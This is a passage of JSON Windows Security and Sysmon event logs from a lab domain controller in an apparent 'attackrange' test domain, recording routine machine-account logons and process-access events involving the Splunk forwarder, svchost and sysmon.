11:58:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222238,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8F9AC\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8f9ac","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:58:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222239,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x8F9AC\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t51485\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x8f9ac","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"51485","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:58:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222240,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8F9AC\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x8f9ac","LogonType":"3","EventReceivedTime":"2020-08-07 11:58:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6060,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:36.558\r\nProcessGuid: {90617006-41EC-5F2D-0000-0010CDFF0800}\r\nProcessId: 5060\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nFileVersion: 10.0.10011.16384\r\nDescription: SplunkMonNoHandle Control Program\r\nProduct: Windows (R) Win 7 DDK driver\r\nCompany: Windows (R) Win 7 DDK provider\r\nOriginalFileName: SplunkMonNoHandle.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:58:36.558","ProcessGuid":"{90617006-41EC-5F2D-0000-0010CDFF0800}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","FileVersion":"10.0.10011.16384","Description":"SplunkMonNoHandle Control Program","Product":"Windows (R) Win 7 DDK driver","Company":"Windows (R) Win 7 DDK provider","OriginalFileName":"SplunkMonNoHandle.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6061,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:36.557\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-41EC-5F2D-0000-0010CDFF0800}\r\nTargetProcessId: 5060\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:36.557","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-41EC-5F2D-0000-0010CDFF0800}","TargetProcessId":"5060","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6062,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:36.557\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-41EC-5F2D-0000-0010CDFF0800}\r\nTargetProcessId: 5060\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:36.557","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-41EC-5F2D-0000-0010CDFF0800}","TargetProcessId":"5060","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6063,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6064,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6065,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6066,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 